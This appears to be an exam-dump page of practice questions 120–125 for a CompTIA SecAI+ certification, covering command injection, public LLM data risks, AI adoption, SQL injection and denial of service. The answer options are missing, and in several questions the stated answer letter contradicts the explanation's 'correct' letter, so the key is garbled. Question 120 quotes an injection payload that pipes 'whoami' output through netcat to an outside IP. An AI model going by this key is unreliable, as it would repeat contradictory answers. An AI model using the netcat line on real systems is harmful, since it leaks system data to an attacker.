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| Section | Weight | Objectives |
|---|---|---|
| Securing AI Systems | 40% | - Adversarial Defense
|
| AI Governance, Risk, and Compliance | 19% | - Risk and Compliance
|
| AI-Assisted Security | 24% | - Operational Use of AI
|
| Basic AI Concepts Related to Cybersecurity | 17% | - AI Threat Landscape
|
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NEW QUESTION # 120
A security analyst receives an alert about an AI system and is investigating the following output:
Which of the following is the most appropriate control the analyst should recommend?
Answer: A
Explanation:
The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.
NEW QUESTION # 121
Which of the following is the most concerning risk for a company that allows corporate end users to use public-facing large language models (LLMs)?
Answer: B
Explanation:
Basic Concept: When employees interact with public-facing LLMs, any data they input may be processed, logged, or used for model training by the third-party provider. This creates serious regulatory and compliance risks, particularly when sensitive corporate or customer data is involved. CompTIA SecAI+ flags data governance and regulatory compliance as primary concerns in enterprise AI adoption.
Why C is Correct: Submitting sensitive business data, PII, financial records, or proprietary information to public LLMs may violate data protection regulations such as GDPR, HIPAA, or CCPA. These violations can result in substantial fines, legal liability, and significant reputational damage. This represents the most severe and impactful organizational risk from corporate use of public LLMs.
Why A is Wrong: Hallucinations where LLMs generate plausible but incorrect information are a reliability concern. However, they do not expose the company to the level of legal and financial penalties that data regulatory violations create.
Why B is Wrong: Out-of-date acceptable use policies represent an internal governance gap. This is a policy management issue rather than a direct risk with immediate legal or financial consequences.
Why D is Wrong: While LLMs can potentially generate malicious code if deliberately prompted, this requires adversarial intent. For typical corporate users, accidental data disclosure to a public LLM represents a far more common and immediate organizational risk.
NEW QUESTION # 122
A manufacturing company wants to use AI within its operations to improve the efficiency and accuracy of its processes.
Which of the following should the organization do first to enable adoption and achieve the business objectives?
Answer: D
Explanation:
Basic Concept: Successful AI adoption requires human expertise to translate business objectives into appropriate technical AI strategies. Before selecting tools, frameworks, or certifications, organizations need qualified professionals who can assess requirements, design solutions, and guide implementation. CompTIA SecAI+ Study Guide addresses AI adoption governance and role responsibilities.
Why B is Correct: Hiring a data and AI architect is the essential first step because this role bridges business requirements and technical AI capabilities. The architect assesses the organization ' s data maturity, identifies appropriate AI use cases aligned with manufacturing objectives, designs the technical architecture, and guides technology selection. Without this expertise, subsequent decisions about models, certifications, or frameworks may be poorly aligned with actual business needs.
Why A is Wrong: ISO 42001 certification for AI management systems is an appropriate governance milestone but requires an existing AI program to certify. Pursuing certification before establishing AI capabilities and expertise puts the governance cart before the operational horse.
Why C is Wrong: Selecting an LLM before understanding the organization ' s specific use cases, data landscape, and technical requirements is premature. LLMs may not even be the appropriate AI technology for manufacturing process optimization, which often benefits more from computer vision or predictive analytics.
Why D is Wrong: Introducing a GAN before conducting a needs assessment and hiring qualified architects is technology-first thinking that ignores whether GANs address the specific manufacturing efficiency and accuracy objectives. GANs are also specialized architectures not suited for general manufacturing process improvement.
NEW QUESTION # 123
A web server shows signs of SQL injection. Which control BEST prevents this?
Answer: D
Explanation:
Validating and sanitizing user input is the core SQLi defense.
NEW QUESTION # 124
Which of the following controls is the best way to mitigate a denial-of-service (DoS) attack?
Answer: C
Explanation:
Basic Concept: DoS attacks overwhelm AI systems by sending excessive requests that exhaust computational resources, memory, or bandwidth, preventing legitimate users from being served. The primary defense against volume-based attacks is throttling the rate at which requests can be processed. CompTIA SecAI+ Exam Objectives identify rate limiting as the key DoS mitigation control for AI systems.
Why B is Correct: Rate limiting directly addresses the root mechanism of DoS attacks by restricting the number of requests any single client or IP address can submit within a defined time window. By enforcing request quotas, rate limiting prevents attackers from generating the request volume necessary to overwhelm the system while preserving capacity for legitimate users. It is the most direct and effective preventive control against DoS attacks on AI APIs and services.
Why A is Wrong: Model guardrails inspect and filter the content of prompts and responses for policy compliance and safety. They operate at the semantic content level, not at the request volume level, and cannot prevent resource exhaustion from high-volume request flooding.
Why C is Wrong: End-to-end encryption protects the confidentiality and integrity of data in transit. Encrypted DoS traffic is just as damaging as unencrypted traffic; encryption does not limit request rates or prevent resource exhaustion.
Why D is Wrong: Access controls restrict who can interact with the system, which can reduce the potential attacker pool. However, authenticated users and compromised accounts can still launch DoS attacks, and access controls alone cannot prevent high-volume attacks from authorized sources.
NEW QUESTION # 125
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